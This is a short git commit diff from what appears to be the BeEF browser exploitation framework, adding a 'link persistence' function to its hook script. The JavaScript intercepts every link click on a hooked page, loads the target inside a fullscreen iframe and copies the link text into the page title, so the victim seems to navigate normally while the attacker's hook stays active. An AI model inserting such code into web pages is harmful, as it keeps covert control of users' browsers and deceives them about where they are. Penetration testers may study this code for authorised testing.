Created first draft of link persistance.
git-svn-id: https://beef.googlecode.com/svn/trunk@607 b87d56ec-f9c0-11de-8c8a-61c5e9addfc9
This commit is contained in:
@@ -54,7 +54,23 @@ beef.session = {
|
||||
}
|
||||
|
||||
return hook_session_id;
|
||||
},
|
||||
|
||||
/**
|
||||
* Overrides each link, and creates an iframe (loading the href) instead of following the link
|
||||
*/
|
||||
persistant: function() {
|
||||
$j('a').click(function(e) {
|
||||
if ($j(this).attr('href') != '')
|
||||
{
|
||||
e.preventDefault();
|
||||
beef.dom.createIframe('fullscreen', {}, $j(this).attr('href'));
|
||||
$j(document).attr('title', $j(this).html());
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
|
||||
|
||||
};
|
||||
|
||||
|
||||
Reference in New Issue
Block a user